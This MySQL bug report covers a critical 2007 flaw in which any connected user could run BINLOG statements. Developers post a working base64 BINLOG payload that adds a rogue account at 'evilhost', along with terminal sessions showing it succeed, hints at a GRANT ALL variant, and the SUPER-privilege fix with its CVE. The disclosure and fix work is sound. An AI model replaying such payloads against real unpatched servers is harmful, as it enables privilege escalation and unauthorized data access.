Bug #31611 Security risk with BINLOG statement
Submitted: 15 Oct 2007 13:59 Modified: 17 Jan 2008 16:35
Reporter: Lars Thalmann Email Updates:
Status: Closed Impact on me:
None 
Category:MySQL Server: Row Based Replication ( RBR ) Severity:S1 (Critical)
Version:5.1 OS:Any
Assigned to: Mats Kindahl CPU Architecture:Any
Tags: BINLOG statement, privileges

[15 Oct 2007 13:59] Lars Thalmann
Description:
There is no check that the executor on BINLOG statements
have correct rights.

How to repeat:
Code review

Suggested fix:
Check that BINLOG executor has ROOT privileges.
[24 Oct 2007 14:24] Lars Thalmann
PROBLEM: DML
--------------
I think that *any* user can execute BINLOG statements and that the is
no check for root only.  At least I can't find any check in the code.
Even SQLCOM_INSERT has checks for privileges (in insert_precheck()
function).
[2 Nov 2007 12:17] Domas Mituzas
BINLOG '
iA0rRxMrAgAAmQAAAN0MAAAAAAIAAAAAAAAABW15c3FsAAR1c2VyACf+/v7+/v7+/v7+/v7+/v7+
/v7+/v7+/v7+/v7+/v7+/vz8/AMDAwND/rT+MP4p9wH3AfcB9wH3AfcB9wH3AfcB9wH3AfcB9wH3
AfcB9wH3AfcB9wH3AfcB9wH3AfcB9wH3AfcB9wH3AQICAgAAAAAA
iA0rRxcrAgAAkgAAAG8NAAAQAAIAAAAAAAEAJ///////AAAAAIAIZXZpbGhvc3QFZG9tYXMpKjND
OEFDQTE5MUQ3QzdEQ0YyMTA2NkFBRTdFRjM2REE0MjYxOTkzNUECAQEBAQEBAQEBAQEBAQEBAQEB
AQEBAQEBAQEBAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
'/*!*/;
[2 Nov 2007 12:26] Domas Mituzas
This allows any connected user to get any privileges they want, edit any data they want, etc.
[2 Nov 2007 12:30] Domas Mituzas
The BINLOG statement above creates a user 'domas' which can connect from 'evilhost' by typing 'muhaha' or something similar as a password, and has global select privileges. The statement can be executed at any privilege level - connectivity to server is the only requirement.

Crafting such attack is very easy - one just has to enable row-level binlogging, add a row on 'test' instance, copy-paste the binlog output and run it against target server. It needs trivial mysql or system skills.
[2 Nov 2007 18:33] MySQL Verification Team
This is a procedure to repeat the security bug:

1. Login to server with user who only has SELECT privilege over mysql database. This is needed only to verify a bug. It is not needed to exploit the bug !!!!
To exploit the bug you do not need ANY privileges as BINLOG command can be executed by anyone. This is a crux of the bug.
2. Run: SELECT * FROM mysql.user;
3. Run: BINLOG '
iA0rRxMrAgAAmQAAAN0MAAAAAAIAAAAAAAAABW15c3FsAAR1c2VyACf+/v7+/v7+/v7+/v7+/v7+
/v7+/v7+/v7+/v7+/v7+/vz8/AMDAwND/rT+MP4p9wH3AfcB9wH3AfcB9wH3AfcB9wH3AfcB9wH3
AfcB9wH3AfcB9wH3AfcB9wH3AfcB9wH3AfcB9wH3AQICAgAAAAAA
iA0rRxcrAgAAkgAAAG8NAAAQAAIAAAAAAAEAJ///////AAAAAIAIZXZpbGhvc3QFZG9tYXMpKjND
OEFDQTE5MUQ3QzdEQ0YyMTA2NkFBRTdFRjM2REE0MjYxOTkzNUECAQEBAQEBAQEBAQEBAQEBAQEB
AQEBAQEBAQEBAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
'/*!*/;
4. re-start server
5. Login to server with user who only has SELECT privileges over mysql database. 
6. Run: SELECT * FROM mysql.user;
[2 Nov 2007 18:37] Mark Leith
mysql> select user, host, password from mysql.user;
+-------+-----------+-------------------------------------------+
| user  | host      | password                                  |
+-------+-----------+-------------------------------------------+
| root  | localhost |                                           | 
| root  | medusa    |                                           | 
| root  | 127.0.0.1 |                                           | 
| repl  | %         | *A424E797037BF97C19A2E88CF7891C5C2038C039 | 
+-------+-----------+-------------------------------------------+
4 rows in set (0.04 sec)

mysql> BINLOG '
    '> iA0rRxMrAgAAmQAAAN0MAAAAAAIAAAAAAAAABW15c3FsAAR1c2VyACf+/v7+/v7+/v7+/v7+/v7+
    '> /v7+/v7+/v7+/v7+/v7+/vz8/AMDAwND/rT+MP4p9wH3AfcB9wH3AfcB9wH3AfcB9wH3AfcB9wH3
    '> AfcB9wH3AfcB9wH3AfcB9wH3AfcB9wH3AfcB9wH3AQICAgAAAAAA
    '> iA0rRxcrAgAAkgAAAG8NAAAQAAIAAAAAAAEAJ///////AAAAAIAIZXZpbGhvc3QFZG9tYXMpKjND
    '> OEFDQTE5MUQ3QzdEQ0YyMTA2NkFBRTdFRjM2REE0MjYxOTkzNUECAQEBAQEBAQEBAQEBAQEBAQEB
    '> AQEBAQEBAQEBAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
    '> '/*!*/;
Query OK, 0 rows affected (0.02 sec)

mysql> select user, host, password from mysql.user;
+-------+-----------+-------------------------------------------+
| user  | host      | password                                  |
+-------+-----------+-------------------------------------------+
| root  | localhost |                                           | 
| root  | medusa    |                                           | 
| root  | 127.0.0.1 |                                           | 
| repl  | %         | *A424E797037BF97C19A2E88CF7891C5C2038C039 | 
| domas | evilhost  | *3C8ACA191D7C7DCF21066AAE7EF36DA42619935A | 
+-------+-----------+-------------------------------------------+
5 rows in set (0.04 sec)
[2 Nov 2007 19:49] Jeffrey Pugh
A slightly extended test case with output:

C:\Documents and Settings\Jeffrey Pugh>mysql -uroot -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 3
Server version: 5.1.22-rc-community MySQL Community Server (GPL)

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> create user jeffrey;
Query OK, 0 rows affected (0.02 sec)
mysql> grant usage on mysql.* to 'jeffrey';
Query OK, 0 rows affected (0.02 sec)

mysql> exit;
C:\Documents and Settings\Jeffrey Pugh>mysql -ujeffrey -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 2
Server version: 5.1.22-rc-community MySQL Community Server (GPL)

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> tee 31611a
Logging to file '31611a'
mysql> use mysql;
ERROR 1044 (42000): Access denied for user 'jeffrey'@'%' to database 'mysql'
mysql> BINLOG '
    '> iA0rRxMrAgAAmQAAAN0MAAAAAAIAAAAAAAAABW15c3FsAAR1c2VyACf+/v7+/v7+/v7+/v7+/
v7+
    '> /v7+/v7+/v7+/v7+/v7+/vz8/AMDAwND/rT+MP4p9wH3AfcB9wH3AfcB9wH3AfcB9wH3AfcB9
wH3
    '> AfcB9wH3AfcB9wH3AfcB9wH3AfcB9wH3AfcB9wH3AQICAgAAAAAA
    '> iA0rRxcrAgAAkgAAAG8NAAAQAAIAAAAAAAEAJ///////AAAAAIAIZXZpbGhvc3QFZG9tYXMpK
jND
    '> OEFDQTE5MUQ3QzdEQ0YyMTA2NkFBRTdFRjM2REE0MjYxOTkzNUECAQEBAQEBAQEBAQEBAQEBA
QEB
    '> AQEBAQEBAQEBAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
    '> '/*!*/;
Query OK, 0 rows affected (0.00 sec)

mysql> select * from user;
ERROR 1046 (3D000): No database selected
mysql> exit
Bye

C:\Documents and Settings\Jeffrey Pugh>mysql -uroot -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 3
Server version: 5.1.22-rc-community MySQL Community Server (GPL)

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> use mysql;
Database changed
mysql> select * from user;
+----------------------+---------+-------------------------------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+------------------+----------------+---------------------+--------------------+------------------+------------+--------------+----------+------------+-------------+--------------+---------------+-------------+-----------------+----------------------+
| Host                 | User    | Password                                  | Select_priv | Insert_priv | Update_priv | Delete_priv | Create_priv | Drop_priv | Reload_priv | Shutdown_priv | Process_priv | File_priv | Grant_priv | References_priv | Index_priv | Alter_priv | Show_db_priv | Super_priv | Create_tmp_table_priv | Lock_tables_priv | Execute_priv | Repl_slave_priv | Repl_client_priv | Create_view_priv | Show_view_priv | Create_routine_priv | Alter_routine_priv | Create_user_priv | Event_priv | Trigger_priv | ssl_type | ssl_cipher | x509_issuer | x509_subject | max_questions | max_updates | max_connections | max_user_connections |
+----------------------+---------+-------------------------------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+------------------+----------------+---------------------+--------------------+------------------+------------+--------------+----------+------------+-------------+--------------+---------------+-------------+-----------------+----------------------+
| localhost            | root    |                                           | Y           | Y           | Y           | Y           | Y           | Y         | Y           | Y             | Y            | Y         | Y          | Y               | Y          | Y          | Y            | Y          | Y                     | Y                | Y            | Y               | Y                | Y                | Y              | Y                   | Y                  | Y                | Y          | Y            |          |            |             |              |             0 |           0 |               0 |                    0 | 
| production.mysql.com | root    |                                           | Y           | Y           | Y           | Y           | Y           | Y         | Y           | Y             | Y            | Y         | Y          | Y               | Y          | Y          | Y            | Y          | Y                     | Y                | Y            | Y               | Y                | Y                | Y              | Y                   | Y                  | Y                | Y          | Y            |          |            |             |              |             0 |           0 |               0 |                    0 | 
| 127.0.0.1            | root    |                                           | Y           | Y           | Y           | Y           | Y           | Y         | Y           | Y             | Y            | Y         | Y          | Y               | Y          | Y          | Y            | Y          | Y                     | Y                | Y            | Y               | Y                | Y                | Y              | Y                   | Y                  | Y                | Y          | Y            |          |            |             |              |             0 |           0 |               0 |                    0 | 
| %                    | jeffrey |                                           | N           | N           | N           | N           | N           | N         | N           | N             | N            | N         | N          | N               | N          | N          | N            | N          | N                     | N                | N            | N               | N                | N                | N              | N                   | N                  | N                | N          | N            |          |            |             |              |             0 |           0 |               0 |                    0 | 
| evilhost             | domas   | *3C8ACA191D7C7DCF21066AAE7EF36DA42619935A | Y           | N           | N           | N           | N           | N         | N           | N             | N            | N         | N          | N               | N          | N          | N            | N          | N                     | N                | N            | N               | N                | N                | N              | N                   | N                  | N                | N          | N            |          |            |             |              |             0 |           0 |               0 |                    0 | 
+----------------------+---------+-------------------------------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+------------------+----------------+---------------------+--------------------+------------------+------------+--------------+----------+------------+-------------+--------------+---------------+-------------+-----------------+----------------------+
5 rows in set (0.00 sec)

mysql> exit

In the above example, even a user with only connect privileges can still create add a user to the database using the provided BINLOG command. A more sophisticated user (who knows how to create and capture the binlog output) could do (presumably) anything.
[2 Nov 2007 20:30] Jeffrey Pugh
btw, the above test cases are not examples of "This allows any connected user to get any privileges they want, edit any data they want". For that, you would generate the BINLOG output for (say) "GRANT ALL ON *.* TO 'someuser'@'somehost';"
[2 Nov 2007 20:57] Mats Kindahl
I am about to submit a patch that will prevent anybody that do not have SUPER privileges from executing the BINLOG statement.  I decided on using SUPER privileges instead of REPLICATION CLIENT privileges (which has been mentioned) since the REPLICATION CLIENT is only used to get status using the commands SHOW MASTER STATUS and SHOW SLAVE STATUS. This means that the privilege potentially can be granted to users that are allowed to watch the status of replication (e.g., Merlin or a human "watcher"), but not necessarily anything else. Allowing these users to execute potentially very dangerous commands that actually can change data in the databases defeats the purpose of the privileges, so I decided that SUPER is more appropriate.
[2 Nov 2007 20:58] Kolbe Kegel
Also from email, in reply to Jeffrey,

> > btw, I think your statement "Bug allows *any* user to get access...." is 
> > open to misinterpretation; it allows any *connected database user* to do 
> > so (i.e. they can login to the database server) - Domas provides this 
> > clarification further down in the bug.

Do note that, by default, MySQL will allow pretty much anybody to 
connect... (anonymous user, etc.) so, out of the box, every single MySQL 
5.1 install is susceptible to remote hijacking via this bug, unless and 
until it's been locked down.

> > For example, the bugs database is accessed through web forms that proxy 
> > the database username/password, but actual connections to the database 
> > server are allowed only from on the MySQL VPN.

Indeed. However, this bug turns what could be a relatively benign SQL 
injection for a locked-down (read-only) account into an unbounded 
privilege escalation issue.
[3 Nov 2007 14:23] Domas Mituzas
I suggest having a configuration parameter (not SET'able), that allows user-supplied BINLOG. 
Usually if anyone is rolling forward, can afford SUPER to have complete access rights to whole server. 
In proper operation nobody would ever need to execute BINLOG.
[5 Nov 2007 10:09] Lars Thalmann
Update:

The fix is ready and reviewed since Friday night and next action is
for Daniel to figure out which tree to push this into.

(Serg probably want to review the patch too, but I don't see any
problem with it.)

Special thanks to Mats for speedient fix already on Friday night.
[5 Nov 2007 12:53] Mats Kindahl
Patch pushed into mysqldev@production:/data0/mysqldev/my/mysql-5.1-release
[8 Nov 2007 10:31] Bugs System
Pushed into 5.1.23-rc
[12 Nov 2007 10:38] Bugs System
Pushed into 5.1.23-rc
[12 Nov 2007 12:06] Bugs System
Pushed into 6.0.4-alpha
[14 Nov 2007 19:36] Sergei Golubchik
CVE-2007-5968
[28 Nov 2007 20:45] Omer Barnir
Root Cause Analysis
-------------------
As stated above the problem's origination is with the initial design (BINLOG command can be executed by anyone). We do not have privilege tests that check for this angle of usgae
[11 Dec 2007 23:16] Sergei Golubchik
CVE-2007-6313
(not the CVE number that I've mentioned earlier, don't use that!)
[17 Jan 2008 16:35] Jon Stephens
Documented fix in 5.1.23 and 6.0.4 changelogs.